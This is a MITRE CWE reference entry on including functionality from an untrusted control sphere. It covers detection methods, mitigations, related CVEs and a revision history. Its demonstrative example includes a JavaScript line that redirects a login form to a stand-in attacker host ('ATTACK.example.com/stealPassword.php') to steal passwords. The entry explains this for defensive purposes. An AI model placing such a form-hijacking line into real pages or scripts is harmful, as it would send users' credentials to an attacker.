The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.

Primary

Resultant

Implementation
REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Confidentiality
Integrity
Availability
Execute Unauthorized Code or Commands
An attacker could insert malicious functionality into the program by causing the program to download code that the attacker has placed into the untrusted control sphere, such as a malicious web site. This could enable the injection of malware, information exposure by granting excessive privileges or permissions to the untrusted functionality, DOM-based XSS vulnerabilities, stealing user's cookies, open redirect to malware (CWE-601), etc.

Automated Static Analysis - Binary or Bytecode

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Forced Path Execution
Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

SOAR Partial

Manual Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

High

Automated Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer

SOAR Partial

Architecture or Design Review

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Attack Modeling

High

Architecture and Design
Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].

Architecture and Design
Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.

Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Architecture and Design
Operation
Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
Be careful to avoid CWE-243 and other weaknesses related to jails.

Limited
The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Architecture and Design
Operation
Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Implementation
Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

High

Architecture and Design
Operation
Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Architecture and Design
Implementation
Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

Operation
Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Moderate
An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

This login webpage includes a weather widget from an external website:

<div class="header"> Welcome!<div id="loginBox">Please Login:<form id ="loginForm" name="loginForm" action="login.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><input type="submit" value="Login" /></form></div><div id="WeatherWidget"><script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script></div></div>

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).
For example, user login information could easily be stolen with a single line added to weatherwidget.js:

...Weather widget code....
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

CVE-2010-2076
Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service.
https://www.cve.org/CVERecord?id=CVE-2010-2076

CVE-2004-0285
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
https://www.cve.org/CVERecord?id=CVE-2004-0285

CVE-2004-0030
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
https://www.cve.org/CVERecord?id=CVE-2004-0030

CVE-2004-0068
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
https://www.cve.org/CVERecord?id=CVE-2004-0068

CVE-2005-2157
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
https://www.cve.org/CVERecord?id=CVE-2005-2157

CVE-2005-2162
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
https://www.cve.org/CVERecord?id=CVE-2005-2162

CVE-2005-2198
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
https://www.cve.org/CVERecord?id=CVE-2005-2198

CVE-2004-0128
Modification of assumed-immutable variable in configuration script leads to file inclusion.
https://www.cve.org/CVERecord?id=CVE-2004-0128

CVE-2005-1864
PHP file inclusion.
https://www.cve.org/CVERecord?id=CVE-2005-1864

CVE-2005-1869
PHP file inclusion.
https://www.cve.org/CVERecord?id=CVE-2005-1869

CVE-2005-1870
PHP file inclusion.
https://www.cve.org/CVERecord?id=CVE-2005-1870

CVE-2005-2154
PHP local file inclusion.
https://www.cve.org/CVERecord?id=CVE-2005-2154

CVE-2002-1704
PHP remote file include.
https://www.cve.org/CVERecord?id=CVE-2002-1704

CVE-2002-1707
PHP remote file include.
https://www.cve.org/CVERecord?id=CVE-2002-1707

CVE-2005-1964
PHP remote file include.
https://www.cve.org/CVERecord?id=CVE-2005-1964

CVE-2005-1681
PHP remote file include.
https://www.cve.org/CVERecord?id=CVE-2005-1681

CVE-2005-2086
PHP remote file include.
https://www.cve.org/CVERecord?id=CVE-2005-2086

CVE-2004-0127
Directory traversal vulnerability in PHP include statement.
https://www.cve.org/CVERecord?id=CVE-2004-0127

CVE-2005-1971
Directory traversal vulnerability in PHP include statement.
https://www.cve.org/CVERecord?id=CVE-2005-1971

CVE-2005-3335
PHP file inclusion issue, both remote and local; local include uses ".." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector.
https://www.cve.org/CVERecord?id=CVE-2005-3335

Allowed
This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.
Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

When including third-party functionality, such as a web widget, library, or other source of functionality, the product must effectively trust that functionality. Without sufficient protection mechanisms, the functionality could be malicious in nature (either by coming from an untrusted source, being spoofed, or being modified in transit from a trusted source). The functionality might also contain its own weaknesses, or grant access to additional functionality and state information that should be kept private to the base system, such as system state information, sensitive application data, or the DOM of a web application.

CWE Content Team
MITRE
2010-11-29
1.11
2010-12-13

CWE Content Team
MITRE
2011-06-01
updated Common_Consequences

CWE Content Team
MITRE
2011-06-27
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, Potential_Mitigations, Related_Attack_Patterns, Relationships

CWE Content Team
MITRE
2011-09-13
updated Potential_Mitigations, References, Relationships

CWE Content Team
MITRE
2012-05-11
updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships

CWE Content Team
MITRE
2012-10-30
updated Potential_Mitigations

CWE Content Team
MITRE
2014-07-30
updated Detection_Factors

CWE Content Team
MITRE
2017-01-19
updated Relationships

CWE Content Team
MITRE
2017-05-03
updated Related_Attack_Patterns

CWE Content Team
MITRE
2017-11-08
updated Modes_of_Introduction, Relationships

CWE Content Team
MITRE
2019-01-03
updated Related_Attack_Patterns

CWE Content Team
MITRE
2019-06-20
updated Related_Attack_Patterns, Relationships, Type

CWE Content Team
MITRE
2020-02-24
updated Potential_Mitigations, Relationships

CWE Content Team
MITRE
2020-06-25
updated Potential_Mitigations

CWE Content Team
MITRE
2021-03-15
updated Potential_Mitigations, Related_Attack_Patterns

CWE Content Team
MITRE
2021-10-28
updated Relationships

CWE Content Team
MITRE
2022-10-13
updated References, Related_Attack_Patterns

CWE Content Team
MITRE
2023-01-31
updated Description, Related_Attack_Patterns

CWE Content Team
MITRE
2023-04-27
updated References, Relationships

CWE Content Team
MITRE
2023-06-29
updated Mapping_Notes

CWE Content Team
MITRE
2025-09-09
4.18
2025-09-09
updated Detection_Factors, Potential_Mitigations, References

CWE Content Team
MITRE
2025-12-11
4.19
2025-12-11
updated Applicable_Platforms, Common_Consequences, Description, Diagram, Other_Notes, Relationships, Weakness_Ordinalities

CWE Content Team
MITRE
2026-01-21
4.19.1
2026-01-21
updated Relationships